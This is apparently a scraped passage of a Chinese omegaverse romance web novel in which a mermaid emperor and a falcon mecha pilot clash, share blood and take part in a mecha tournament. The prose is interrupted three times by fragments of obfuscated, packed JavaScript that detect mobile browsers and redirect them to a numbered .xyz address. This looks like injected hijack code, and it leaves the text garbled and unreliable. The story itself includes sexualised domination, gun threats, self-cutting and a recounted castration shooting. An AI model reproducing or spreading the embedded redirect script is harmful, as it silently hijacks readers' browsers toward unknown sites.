霎时间,一股浓郁黏腻的omega气味狂轰乱炸地冲向他,铺天盖地地入侵他本就疲惫的大脑。 “啊,我把用过的抑制棒扔在垃圾桶里了,气味很大吗?”白翎抱着臂靠在墙边,姿态肆意。 无法无天的小雌性!故意把吸饱汤汁的气味棒留在他的地盘,和发情期的小狗四处撒尿标记领地一模一样。 人鱼的鼻子堪比鲨鱼,能隔着几十海里闻到广阔海水稀释的一丝血腥味。 Omega加料特制的抑制棒,还残留着体温,对人鱼而言,简直冲击力大得恐怖。 郁沉猝不及防,大脑顿时空白了几秒。他一下子紧攥手杖,手背青筋暴起,脖颈线条紧绷得笔直,控制不住地剧烈呼吸。 omega酸涩甜美的气息钻进他的鼻腔,对易感期还没走的alpha来说,是糖果,更是毒药。 ……想要撕咬,要标记,要狠狠入侵碾压面前年轻柔韧的身躯……! 他抑制不住本能地伸出了牙根用于标记的獠牙……“嘶!”,右脚传来一阵刺痛,电击脚镣及时作用,及时通过痛觉唤回他一丝理智。 郁沉清醒了一瞬,便如踏进陷阱的野兽,误入铁网的鱼,预感到危机就要转身撤离。 “咔嚓。”子弹冷酷上膛声。 郁沉心头一跳,冰冷的枪管已经强势压在他额心正中,遏住他的动作。 抓到你了。 白翎挡在郁沉身前,他全身紧张绷成一张弓,随时提防对方反抗,却歪了歪脑袋,语调慵懒悠闲: “话说,我对alpha上瘾了,您对这件事有头绪吗?” 有一瞬间,郁沉愉悦得想笑。 果然,他还是喜欢这样直来直去的小鸟。 郁沉被枪口抵着脑门,一步一步慢慢后退,直到后膝盖撞到了椅子。 那只嚣张的猛禽顺势狠推了他胸膛一把,逼他坐倒进天鹅绒高背椅子,接着就一脚踏在了椅面上,踩住他质地良好的西裤缝。 宛如猎人薅住野兽的皮毛,渔夫掐住鱼鳍,老练的鸟儿迅速收网。 白翎居高临下俯瞰着人鱼的金色睫毛,用长长的黑色金属枪管恶意转着圈,碾过他的额头,故意给完美无瑕的面庞印下暧昧枪痕。 接着,他用冷漠又趣味的口吻,质问道: “耍我很开心吗?” 22. 永世沉沦 面对质问,郁沉反而放松了身体。 “如果是问我现在的心情,我确实很高兴,但不是因为隐瞒你造成的后果,而是你当下对我表现出的,坦诚。” 从郁沉的视角看,白翎完全可以装作不知道,利用他的愧疚,对他实施报复,或达成其他目的。 但小破鸟偏偏选择了单刀直入,捅破窗户纸。 白翎想要的,只是一个答案。 郁沉:“我的确是alpha,但这并不会对你造成威胁。因为你足够强,AO性别差异在你面前不算什么问题。” 说的没错。白翎瞥了他一眼。 伊苏帕莱索挑配偶的眼光,确实独到。 白翎之前只知道老皇帝怪癖多,但还不知道那家伙居然搞AA恋? 不过,站在权力巅峰的人,脑子多少都有点毛病,找个漂亮alpha满足自己没有边际的征服欲,的确比娶个柔软娇弱O爽太多。 如果是白翎,他也会这么干! 而且,老皇帝是腐烂种人鱼,应该长得奇形怪状,丑陋不堪,否则也不会执政127年,从未公开露过面。 关于这一点,还有个广为流传的故事。说是一位国宝级画师想创作国庆献礼,见到了皇帝本人,当场就吓趴下了,回去之后更是神志不清,逢人便说“不敢置信”。 画师就这么疯疯癫癫了一年,交了作品后,宣布封笔。 这一下,便把老皇帝地狱恶鬼长相的传言,彻底坐实了。 所以,面前这只叫郁沉的人鱼,肯定是伊苏帕莱索搞来改善自己后代基因的。 就是不知道,这家伙能不能生…… 白翎瞄向郁沉的小腹,都是饱满的腹肌,自己以前摸上去也没摸到痕迹诶…… 什么乱七八糟的。 白翎面色一冷,立即把念头驱赶出去,重回冷静。既然人鱼认错态度还算端正,他可以给个机会。 当然,手里的枪要握得牢牢的。 郁沉细心察觉到枪口有些晃动,猜测白翎握得有点手酸,正在谨慎地一根一根松松手指,便建议道: “你可以把枪管搭在我的颈部动脉上,威胁力一样,也能省点劲。” 白翎微微一怔,若有似无地冷哼了声:“我还是头二次见到这么配合的俘虏。” 郁沉掀起眼皮,忽然问:“头一次是谁?” 白翎撇撇唇:“还能有谁,当然是站在露台上的你。” 都是我。郁沉不由得弯了弯眼睛,露出会心的笑容。 白翎凉凉地说:“你要是喜欢坦诚,那我们就各退一步,互问三个问题。” 说完,他也不等郁沉答不答应,直接开始问:“第一个问题,‘郁沉’到底是不是你的真名?” 枪口移开,重新抵在郁沉颈窝。 郁沉被金属感凉了下,却没有躲,而是流畅回答: “是真名,确切来说,是我从人鱼语翻译过来的人类名字。我的胎名是未出生前就定好的,一共有六十三个音节,对人鱼来说是一声类似鲸咏的吟唱,对普通人类而言,会显得太长。” “嗯哼,”白翎还算满意,遂斟酌了下,抛出第二个疑惑:“凯德看你不顺眼,又想逼你交出权杖,你为什么不想办法离开这里?” 不明的情绪从郁沉眸中一闪而过。 白翎以为自己看错了,再去看,郁沉已然眼帘微垂,疲惫笑着说: “我脚下踩着的我的故土,身边走着我的子民,我去哪里都是自欺欺人,这是我的国家,我还能走去哪?不论去哪,都没有区别。” 短短一番话,差点让白翎的表情崩塌。 他忽然心跳加速,死死抿着唇陷入沉默。有一股奇怪而莫名的感觉攥住了他的心脏,似乎是恐慌不安,又像是近乡情怯。 他总觉得,再继续问下去,自己良久构建的认知将彻底毁坏…… 白翎把头扭向一旁,下唇颤颤印着齿痕,突然说: “第三个问题我还没想好,下次再问。” 郁沉转动无焦距的瞳仁,似乎预感到什么,只说了句:“好。” 白翎又问:“你有什么要问我的吗?” 郁沉说:“我也留到下一次。” 白翎轻微扯了下嘴角,是嘲讽也是淡漠。 他并不会告诉郁沉,这就是最后一次,自己再也不会来了。 就这样吧,他已经验证了答案。 枪口移走,白翎毫不留恋地转身走开。 刚靠近门口,侧卧门幽暗地滑过,闭紧,上锁,一气呵成。 白翎回过眸,精致的脸颊笼罩在阴影里,斜睨身后的人鱼,语气中带了危险的威胁: “别弄得太难堪,把门打开。” 那条人鱼视若罔闻,手指一动,抽出衬衣口袋里的黑色钢笔。 然后,倒空墨水,尖锐的笔头往自己手腕锋利一割。 鲜艳欲滴的血珠立即渗出。 空气中迅速弥漫起颓靡醇厚的木质幽香,犹如沉在海底的庞大巨船,在穿越世纪后零散得被打捞上岸,潮湿的桅杆混合着海藻发酵的腥甜,诡异而醉人。 白翎脑中莫名浮现出这副场景。 很快,他意识到,正在发育中的腺体已经使得自己能隐约闻清alpha的信息素。 如果他再不走,很可能被对方影响,眨眼间就会失去意识,遵循本能,像个得了软骨症的鸟一样紧贴上这个混蛋alpha! 那条人鱼沉默着站起身。 白翎眼皮一颤,心率一路飙上了100。 他强迫自己冷静,迅速将环境尽收眼底,大脑加速计算合适的攻击角度和逃跑路径。 他有武器在手,但这不意味着,他自大到能以为自己碾压得了人鱼恐怖的肉身素质。 子弹一旦打完,他就是对方的口中食,腹中肉。 白翎胸膛起伏,控制不住地想起那两枚深深印进义肢的指纹。 该死的混蛋人鱼! 白翎用力扣下扳机,每一枪都冲着人鱼的膝盖去。 只要对方能丧失行动力,哪怕只争取到十秒钟,都足够他跑进浴室,掀开窗户逃出去。 然而,那条刚才还温顺迟缓的大鱼,此刻身形灵活如水中鬼魅一般。 子弹打出的速度,在人鱼的感官触觉里,仅如射进海水不断降速的箭矢,慢得伸手就能攥住。 白翎一枪也没有打中。 他暗骂一声,顾不上对方的表情此刻有多阴郁,闪身躲进浴室,一脚踢上门,立即扑向唯一的逃生窗。 游隼是3S级的敏捷。 可惜放在进化了上万年的第一批纯血异种人鱼这里,还是不够看。 白翎很快就亲身体会到了什么叫等级碾压。 浴室门飞撞到墙上,碎片四溅。 白翎眼前一花,根本没来得及看清,就已经肩膀一痛,被一只青筋暴起的手瞬间摁住,几乎是钉死在墙上。 胜负已分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859726|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白翎惨然笑了笑,他开枪的那一刻,就已经做好了被人鱼撕碎做成标本的觉悟。 人鱼苍白有力的长指,再次捏上他的下巴。 这一次,没有了往日的温柔,而是几乎急躁地用上了力道,往他嘴边送—— ……嗯? 白翎惊疑着低眸去看,那条突然狂暴的人鱼抓住了他,并没有像捏碎小鸡仔一样捏烂他,反而把涓涓流血的手腕,死死贴在他唇畔。 “喝下去。” 人鱼的声音磁性而疲惫,隐隐约约听上去,有一丝不易察觉的落寞。 “你可以离开,再也不回来,但我的信息素等级对你来说太过了,强行戒断会伤害你的身体。” “你可以喝我的血,从血液里摄入足够的信息素缓解成瘾,再在三个月内逐步递减用量。等你分化完成,就能和我彻底断绝联系。” 白翎呼吸瞬间停滞了下,飞快地抬眸看了看郁沉的脸,想找出一丝说谎的痕迹。 可是上面除了一片淡然,就只有浓浓的倦累。 “快喝吧,别浪费了。” 这句话仿佛有某种魔力。 白翎以前去奶车前打奶的时候,机器人也总会这么提醒大家:快趁热喝,别浪费。 大抵像他这样的底层野狗,不论什么时候都无法直视水龙头流着不关,也无法放任珍惜昂贵的高等级alpha血,白白嘀嗒到瓷砖上,顺着沟渠流入下水道。 所以,他鬼使神差地凑上去,贴紧唇,像赠予一枚吻那么慌乱又谨慎地偷瞄人鱼一眼,再舔了舔对方滚热的伤口,开始了细心的嘬饮。 太奇怪了…… 为什么事情会进展到如此地步,他究竟漏算了什么呢? 白翎的嗓子里涌动着鲜甜的血,传说人鱼血原本就是精力之源,可以用作魔药。 他吃进肚子里,确实感觉身体的酸痛被迅速驱走,可仔细一品,却从舌畔尝到了沉淀的哀伤…… 伤口渐渐开始愈合,郁沉见他迟疑,毫不犹豫又划了一道新的。 白翎看得心头颤颤,忍不住说:“别弄了,我喝够了。” 郁沉没做什么表情,只是交待他:“以后每周过来拿一次信息素提取液就好,不必来见我。” 人鱼又转头望了他一眼,那一眼,恍然间让白翎有了对方没有瞎的错觉。 “你可以走了。” 郁沉如约定般放了手。 白翎试探性往前走了两步,再扭头警惕地观察。 那条人鱼站在一片废墟残片里,脚下的影子被浴室的冷光灯照得孤独而扭曲。 他像一座被抛弃倾倒的雕塑,伫立在原地,神情沧桑与麻木。 白翎跨过烂掉的门,走出浴室,侧卧的大门果然自动打开了。 只需要再往前走两步,他就能彻底恢复自由,和欺骗自己的人鱼说永别。 可是某一瞬间,他心中涌现莫名的情绪。 仿佛是罗德的妻子逃离罪恶的索多玛之城时,听到熊熊燃烧噼啪摧毁的城市在低喃。 白翎也控制不住回过了头。 在圣经里,罗德的妻子没有听天使的话,回头望了一眼罪恶之城,便变成了盐柱,永远立在路上。 而回眸的白翎,也目睹了那条人鱼的昏迷与坠落,瞬间僵在原地。 当白翎动作快过大脑冲回浴室时。 有一道念头,轻轻告诉他—— 他将陷入魔鬼的漩涡,永世沉沦其中。 23. 分化期情绪反常 白翎最终还是走了。 他把虚弱昏迷的人鱼交给AI,小机器人熟练地料理一切,期间还安慰他: “没吓坏你的机芯吧?主人是这样的,经常会突然掉线,也就是人类说的大脑断片。别怕,他睡个几天就能重启了。” 白翎沉默着点点头,一路魂不守舍,回到宿舍区。 上床之前,需要换下长裤。 口袋里鼓鼓囊囊的,他随手掏了一把,摸出了人鱼的小羊皮手套。 白翎定定看了两秒,突然拉开抽屉,把它丢进了深处。 接下来的三天,他在皇宫正常地进食、上课和训练。 食堂里—— “啧,你看起来心情不太好,和监护人吵架了?”萨瓦端着堆成小山的餐盘落座。 “没有,他不是我的监护人。”白翎眼睛都不抬,继续喝汤。 看他说得如此笃定,萨瓦和诺思对视一眼,脑子里不约而同浮现出概念: 【分化期情绪反常综合征】 情绪越反常,下蛋越凶猛。 白翎不关心室友在隔着桌子挤眉弄眼些什么,他吃完这顿清汤寡水的例餐,还有更重要的事要做。 今天早些时候,他收到了响尾蛇的通知。 [响尾蛇]:Master,今天是实验第一天。我已经把自己从社团开到公司了,下午三点,我在0号展厅等你。 白翎看到这条消息时,有种如释重负的感觉。 不管怎样,他可以暂时把自己剥离出来,投入到更纯粹的机械里。 萨瓦忽然拍拍白翎,看起来很急:“能不能帮我收一下盘子,我去接个通讯。” 说完,萨瓦着急忙慌跑出去,不见平日的跋扈,反而一脸无奈。 白翎:? 天要下红雨了吗,谁能把这家伙治住? 萨瓦刚接起通讯,那边就炸了锅:“你快来接我回去,他们摸我的腿骚扰我!!杀杀杀杀杀杀杀杀!” 萨瓦头皮发麻:“……你没跟他们动手吧?” “目前还没有,可明天就说不定了。要不是你签的那个劳什子合同,我至于受这么大委屈吗?呜呜脚后跟都要被人摸包浆了。” 萨瓦扶额:“可你是展示机甲,放在展厅最显眼的位置,肯定要被人围观的啊。” “杀杀杀杀杀!我不管,隔壁的小妞就有玻璃罩子,我也要!” 与此同时,在0号展厅里,响尾蛇的罩子被敲了敲,一只帅骚拉风火焰色涂装的机甲跑过来问: “喂,漂亮小妞,你的罩子是从哪弄的?” 响尾蛇冷酷回答:“我自己从家带的。” 火焰机甲:“你怎么还用尾气充气球卖?” 响尾蛇:“我Master缺一条腿,我卖气球补贴家用。” 火焰机甲十分感动,转头蹲墙角通知自己的Master: “我要去那个妞挤一个展台,和它一起去儿童区发气球了,拜拜我去喽!” 萨瓦:“等一下你是武器区的模特啊!!Girrrrrrrl!” · 陆家是著名的佣兵世家。 陆老爷子当了大半辈子的工会副会长,自然希望儿子能继承衣钵,在机甲一业上出人头地。 然而,儿子积极性是上来了,魂儿也弄丢了,整天满面红光,眼里直飘桃花,看得陆老爷子心里打了个突。 他是不是也该考虑儿子的终身大事了? 陆家没有雌性家眷,陆老爷子拉不下脸,于是这个重要的任务就落在陆鲟的堂哥——陆航身上。 这一日,陆航从军队回来休假,顺势把弟弟叫到跟前,开门见山问他到底看上谁了。 陆鲟嘿嘿一笑,交代了来龙去脉。 不料陆航拧起眉头:“猛禽?绝对不行。” 陆鲟急忙解释:“哥,你不要误会,白零不像皇帝亲卫队那些贵族鹰隼那么目中无人。他虽然当众秒了我,但人很好的。” 陆航语重心长:“我不是质疑他人品,我意思是……小鲟,咱没有金刚钻,就别去揽瓷器活,养鹰翻车被啄了眼的例子还少嘛?” “你要不信,我可以跟你说,我们深空机甲团今年才发生一起事故。” 陆鲟:“也是猛禽?” 陆航点头:“对,入伍5年的老兵。他刚开始分化就被军团少将看上了,那家伙想潜规则他爽一把。” “可惜这只鹰脾气倔得要死,军靴狠狠踩着少将A的大腿骨,朝他裤.裆连开三枪,砰砰砰,好家伙,那玩意都碎成肉泥了吧。” 好凶啊! 陆鲟听得浑身不住冒汗,代入了下,自己下半身都幻痛了。 陆航严肃道:“这还不算,他炸了基地的军火库,理由嘛,因为那个少将没收了他的机甲,拉去废品站压成了废铁。” 陆鲟沉默了,他是alpha,前面被骚扰的事无法共情,但是当面砸毁机甲这种事,没有一个驾驶员能轻易原谅。 机甲是他们的第二条生命。 这个少将活该! 陆鲟义愤填膺问:“少将这么恶毒,肯定被抓起来判刑了吧?” 陆航摇摇头,叹了声气:“没有,他还升官了。反倒是那只鹰,被判了死刑。” 陆鲟听完这个故事,久久无法释怀。 他想起小白毛的断腿,更觉得鹰隼是骄傲又易折的生物,需要好好保护。 特别当他听到狐朋狗友打通讯来说:“陆少,我看到你男神的机甲在卖气球,好可爱哇。” 陆鲟:“什么?那么可怜的!” 朋友:“?” 陆鲟立马赶到现场,宣布:“全场的气球由我陆公子买单。” 响尾蛇默默打开行李舱,掏出两麻袋没充的气球,亮出收款码。 陆鲟:“……” 认命付钱。 一只火焰纹机甲忽然冒出来,挎起响尾蛇的机翼:“走,请你吃冷却液冰淇淋,三个球那种,刷我Master的卡。” 陆鲟眼睁睁看着冷冰冰的响尾蛇被拽跑了。 他泪目地想说,我也可以请吃三个冰淇淋球哇,给个机会让自己刷点好感度行不行…… 真气人! 这个火焰机甲到底是谁派来的,难不成是新情敌? 陆鲟立马转悲愤为力量,派人去查火焰机甲背后的主人。 哼,管他是谁,再横还横得过自己这个佣兵世家嘛。 传回结果—— 【涂装:暗夜磷火】 【注册名:托勒密】 【驾驶员:萨瓦二世】 朋友:“……喂陆少你清醒一点啊,那可是老贵族雕鸮家族,全帝国最凶恶的主,千万别去抢食啊啊!” 另一朋友:“托勒密?!上届机甲格斗世界杯冠军的那个托勒密?” 陆鲟顿时压力山大,硬着头皮说:“上,上届而已,我未必就不行。正好这届预选赛刚开,我现在就去报名。” 他们来的这片展厅,隶属帝国资金最雄厚的老牌航空军武集团——戈耳工设计局。 每届机甲格斗世界杯,戈耳工都是最大赞助商,因而场馆内就近设有报名处。 陆鲟拉着一群朋友报完名,忽然眼前一亮,人群中那抹清丽的白发,不是白翎是谁。 “你也来报名吗?报了哪一段位?” 白翎专注盯着报名条件:“还没想好。” 机甲赛和古地球的世界锦标赛规则差不多,报名也是有门槛的,不是谁都可以进。 参与者必须满足三个条件: 1.一年内参加过个人/团体比赛,积分100点以上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859727|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2.通过全套体检。 3.报名费5万星际币。 陆鲟建议道:“以你的实力可以直接上3000分段没问题,你现在积分多少?” 白翎:“零。” 陆鲟擦汗:“……啊这,现在找人刷分也来不及了,要不四年后再战?” 白翎的目光移到了正中央,上面写着:冠军奖励300万星际币。 这笔钱不多不少,正好够他买一架二手小型飞行器,让他解决掉暴君后,把响尾蛇打包装着,安全逃往野星。 他需要钱,越多越好。 长远来看,今后建设基地,整用装备,招兵买甲,用钱的地方太多了。 他上辈子搞革命,有大半精力都耗在筹集经费上,仗打得再漂亮,后勤弹药跟不上,也让人苦恼。 如果这次比赛,能拉到几个赞助商就好了。 “胡老师来了!” “上届的前八强也来报名,看来这次比赛高手云集,有的看了。” “胡兀鹫好像拿到了四大军武商的赞助诶。” “四大军武……是戈耳工设计局吗?激动!” “无知,戈耳工前身可是帝国国家武器制造局,跟所谓的四大根本不是一个级别,压根看不上个人佣兵。你见过央妈给私人打广告的吗?” 一群戈耳工集团的粉丝,七嘴八舌说开了。 白翎没在意戈耳工,反倒在琢磨怎么在报名截止前弄到积分。 另一边,被簇拥的胡兀鹫趾高气扬地来到柜台,张口就喊:“我报最高段位,3000段。” 前台满脸笑容:“好的胡先生,3000段需要基础积分200点,请出示您的禁制环数据。” 随着滴一声,旁边人都凑过去看,却纷纷脸色一变,尴尬起来。 胡兀鹫就是来走个形式,他这一年来大大小小比赛刷个遍,积分早就过500了。 可发现气氛不对,他赶紧低头看,这一看,差点心肺停止。 “199点?!绝对不可能,一定是机器出问题——” 胡兀鹫正要拍桌子,突然脑中一闪,想起一件事来。 上个月,他监护的那只omega被配偶家暴了,向他求救,他当时沉迷打游戏没有理会。后来他就收到了本月监护评分,只有1.2。 众所周知,监护人评分和各种社会信用点直接挂钩。 胡兀鹫阴暗地咒骂一声,这小婊.子真无情,害他被倒扣一大半积分! 不过胡兀鹫到底是老油子,立马就想到,自己可以在现场随便找个人开启个人局比赛,只要连胜三场,就能拿到10积分。 这样一来,既能满足报名条件,又能扳回面子。 胡兀鹫眼睛扫视一圈,停在最弱的一个人身上。 “小友有没有兴趣和我切磋一下?”胡兀鹫挂着笑容,拍上白翎的肩膀。 白翎的禁制环: 【检测到alpha访问!肢体接触4级!正在将数据传递……】 与此同时,人鱼的栖息地。 犹如古老兽类盘踞的洞穴,寝宫中四处弥漫着发酵海藻的香气,穿堂暖风一吹,带来枯草静静燃烧的味道。 角落里袅袅升腾着不知名的安神香。 嗡嗡,嗡嗡,电子声高频震动。 黑色皮草顺着精干的躯体线条绵延起伏,毛尖润亮,忽然,从厚密皮草里伸出一只雕刻般流畅的手,手指苍白地摸到终端,缓慢移到耳边。 【数据刷屏警告!您的omega正以每分钟三次的频率与alpha进行4级密度肢体接触,请问是否强制监护?】 【Yes/No】 人鱼疲惫地苏醒,手掌撑着前额,强迫自己坐起身,森绿瞳眸泛起血丝: “……把乌利尔叫来!” 24. 找个有钱后爹 有乌利尔这个高级工程师在,根据信息来追踪定位,简直不要太容易。 乌利尔放出微型摄像机,金色小球扇着小翅膀钻进展厅,聚焦到中央,画面放大—— “这不是我那个小白毛试驾员嘛?!” 郁沉心中一动。 小鸟三番五次走水道偷跑出去,他早就隐约猜到什么,现在坐实了猜想,反而安定许多。 左右飞不出他的掌控范围,不会出乱子。 郁沉隔着视频,循声向乌利尔瞥了一眼。 明明对方看不见,乌利尔却感觉心理阴影陡然增大。 郁沉淡淡强调:“不是你的,是我的。” “……好的。” “接下来你负责解说。” “我?啊,可我只是个机甲工程师!解说什么的——”乌利尔偷瞄了眼叔父的脸色,极有求生欲地挺直腰: “……应该,hold得住的。” 事实证明,术业有专攻,不行莫强求。 乌利尔硬着头皮,拿出早就丢给小学语文老师的水平描述了对战场地,就偷懒操纵摄影机,找了个话唠的围观群众,实时转播。 话唠的陆鲟:“响尾蛇0号机进场了!不愧是实验机,深灰蓝涂装自带雷达隐形,线条干净又漂亮。” 乌利尔松了口气,很好!说得不错。 陆鲟:“出现了,单手侧蹬三步上机甲,我男神好美好帅!好希望被蹬的是我……” 郁沉:“……” 乌利尔:“……” 要不咱还是换台吧? 个人赛消息一出,场地旁站满观众。 胡兀鹫正在做热身运动,显得成熟老练。 他是结实强壮的鹰形目,主打重装机甲,打眼一看,对面小年轻开着轻量甲,顿时就摸着胡须笑了: “友谊第一,比赛第二。我是‘胡天胡地’,敢问小友圈名?” 佣兵圈许多人不愿意暴露真实姓名,互道圈名也算一种习俗。 白翎当然也有固定名号。 不过他扫视场畔,眼尖发现六七个隐藏摄像机,想想隔壁展厅也有不少参展的小厂家,比如卖喷漆,雨棚,真皮内饰的,说不定就有潜在赞助商闲的没事在看直播呢? 白翎:“你好,我叫‘旺铺招租’。” 围观群众:“???” 正在打牌听直播的一群老板愣了下,噗嗤笑出声。 胡兀鹫则面部僵住,嘴角抽搐。 ……荒谬!现在的年轻人也太不矜持了,把野心写在ID上,还怎么得到高端厂家的赏识? 就算有,吸引来的肯定也是不入流的小厂! 三分钟后,比赛准时开始。 “铛铛”鸣钟一响,胡兀鹫瞬间把油门飙到极致,以一种速战速决,势必一击碾碎对方的狂暴,直接开炮轰向【旺铺招租】。 “轰隆——” 灰烟散去,地面凹陷出三米巨坑。 观众欢呼:“胡天胡地!胡天胡地!” 胡兀鹫嗤笑着去看,却眼皮一跳,发现坑底空无一物,他头皮紧麻迅速转身格挡。 “镪!” 下一秒,【旺铺招租】直接一个俯冲,手中的光刀挟带巨大无比的重力势能,砸进【胡天胡地】脊甲缝隙,居然是想像撬龟壳一样,卸掉敌人装甲! 胡兀鹫在驾驶舱恼怒嘶喊:“天真!” 他抬手近距离轰炸白翎脖子,对方敏捷一闪,胡兀鹫马上腾空跃起。 没想到这个残疾断腿这么难缠,五分钟过去了,他一枪没命中。 但轻量机就是战场脆皮,再拖久一点,【旺铺招租】绝对扛不住。 胡兀鹫心一狠,索性拿出看家本领—— 陆鲟瞳孔紧缩:“坏了,【胡天胡地】要发射硫酸必杀技,这个老毕登!说好的友谊第一呢?” 刚说完,铺天盖地的硫酸炮弹化为一张无处可逃的大网,就要朝白翎罩下。 胡兀鹫的粉丝得意说:“老胡这招一出,机甲不爆炸也会重度腐蚀,再漂亮的涂装也白瞎咯。” 响尾蛇驾驶舱内。 控制器疯狂刷屏警告,响尾蛇声音冷酷而紧迫:“Master!计算躲避概率正在下降,我们有80%几率必须扛过硫酸雨,请你抓好扶手!” 白翎忽然说:“响尾蛇,你相信我吗?” 响尾蛇毫不犹豫:“当然,Master。” 白翎灰眸凛然:“立即切换手动档。” 敢给我家机甲泼硫酸弄坏它的脸?活腻歪了。 响尾蛇虽不明白他的意图,但这一次,它选择抛弃运算,相信自己的直觉—— ……诶?人工智能也会有直觉吗? 响尾蛇让出操作权限,只见白翎细长如爪的手指在面板上下翻飞,眼睛高速读取数据,俨然精准运行的机器。 那稳定的态度不知哪里戳到了响尾蛇的油箱,响尾蛇突然轰鸣起引擎,也认真咆哮: “杀杀杀杀杀!!” 白翎:? 谁带坏了我家小姑娘的语音库? 此时,举着两只冰淇淋蛋筒的托勒密,无辜路过。 托勒密找不到响尾蛇,就来后场转转。忽然,它摄像头闪过一道光,兴奋打开录像模式。 太妙了,这可是它从未见过的身法! 机甲飞行理应走弧线,可是响尾蛇现在居然在飞笔直的折线。 它以不可思议的角度,一次又一次卡着硫酸弹擦过,最终帅气尾烟刺破大网,转身一个漂亮扔刀,正中胡兀鹫机甲额心。 胡兀鹫一拳砸在驾驶台上。 以他的经验,再打下去大概率是自己输。与其在报名之前就丢了前八强的名声,成为笑柄,不如及时止损…… “很精彩,小友,我们就此点到为止可好?” 白翎根本不废话,上去就是一刀,秒了。 胡兀鹫后甲直接掀飞上天,掉进自己的硫酸液,彻底损毁。 裁判:“胜负已定!【旺铺招租】赢下本场个人赛,获得积分200点。” 响尾蛇灵巧地飞了一圈来庆祝。 如果观察其轨迹,就像极了一只看不见的手,以天空为白纸,以机甲为硬笔,尾气在广袤蓝天留下铁划银钩的庞大笔迹—— 【广,告,位,招,租】 观众们:“……有赞助商吗?看看孩子吧,多努力啊!” 这时,乌利尔正好从公司后楼赶到,由衷道:“严格意义上的第一次胜利,很不错。” 白翎刚出舱,还没转过弯来:“他打赢我不是10积分吗,为什么我能得200点?” 乌利尔:“这个啊,因为你有新手保护期加成,挑战成功比你积分高的选手,直接积分翻20倍。” 白翎义正言辞:“可是我刚研究规则,并没有这一条。” 乌利尔暗中擦汗,表面正经解释:“比赛嘛,上层对规则朝令夕改是常有的事,你还不懂他们那群老贵族吗?” 白翎表情一怔,也不知道想起了谁,撇撇唇道:“也是。” 乌利尔遂带着白翎去报名。 白翎余额不够5万,准备从黑市银行借点高利贷,下个月再还。响尾蛇却发信息给他:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859728|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “Master,我这里有三千,你拿着。” 白翎愣了愣:“你从哪弄来的……你——” 他忽然说不出话来了。 白翎想起上辈子死前那几年,他器官衰竭,被迫从一线退下,只能独自挣扎,靠卖点小东西艰难度日。 他们时常去地铁站前卖水,卖伞,还有气球…… 他,和响尾蛇。 响尾蛇看起来冷酷,其实是个有感情的AI,它喜欢花,喜欢色彩斑斓的东西。白翎拖着病体去市场进货,它便甘愿充当一辆货车。 他俩一起把驾驶舱和行李架用廉价气球塞得满满的,响尾蛇很高兴,它说:“我的肚子里有好多彩色泡泡。” 那一天,外面下着暴雨,人们四散逃离,白翎一把伞也没卖出去。他一瘸一拐浑身湿透地跑回街边,第一件事不是爬上驾驶舱躲雨,而且着急给响尾蛇拉上塑料雨披。 风很大,白翎觉得自己这身破空烂铁都要被吹散了。 他听到响尾蛇在说话。它也老了,总有修不好的地方,扬声器沙沙地响,它说: “我想哭,我很想哭,可是流泪是人类才有的举动,我可能坏了,也许是冷凝管在滴水。” 响尾蛇伸出残旧的机翼,搭在白翎头顶上方,努力给他遮风挡雨。 白翎的小腿没入冰冷雨水,站在街边,替它流了许多它无法流的眼泪。 英雄应该在最辉煌的时候坠毁,而不该无名地倒在街边。 跟他出生入死无数次的响尾蛇,尤其如此。 所以这一世,绝对不能重蹈覆辙。 得给我家的小姑娘,找个有钱后爹…… “不用担心报名费,这笔钱,戈耳工设计局已经给你们出了。”乌利尔安慰道。 白翎转过头,略有狐疑:“我是和你工作室签的实验合同,没有和戈耳工签,他们为什么要帮我付钱?” 乌利尔:“咳,其实戈耳工也算我大老板……总之别担心钱的问题就好。” 他总不能说,我们大老板看上你了,想独占你所有广告位…… 乌利尔顺势把话题引到实验上,带着白翎去工作室。 白翎随口问他最近忙不忙,乌利尔感叹道: “何止是忙啊,马上要开机甲世界杯,各种场务,维修师,救助员都被抽调,我也经常要跟着公司团队调试数据。” “对了,你有没有推荐的维修师傅?我们这儿正缺人。” 机甲圈里,消息最广的就是驾驶员了。 白翎想了想,给他写了一张名单,上面全是他以前革命用过且靠谱的人。 乌利尔搓了搓手,得寸进尺道:“有播音员或者解说之类的人才吗?” 白翎:“?大赛直播台不是有解说员吗?” 乌利尔不敢说这是自己额外加的。大老板嫌弃他解说太干巴,不能体现出你战斗风采的十分之一。 这件事暂且搁下,因为乌利尔还得抓紧时间对白翎进行二十组测试,再进行上千条项目分析。 一通实验做完,已经夜幕降临。 白翎精疲力尽,开着响尾蛇三百个大跳做完,义肢早没电了。 乌利尔满意地看数据:“今天就到这里为止。” 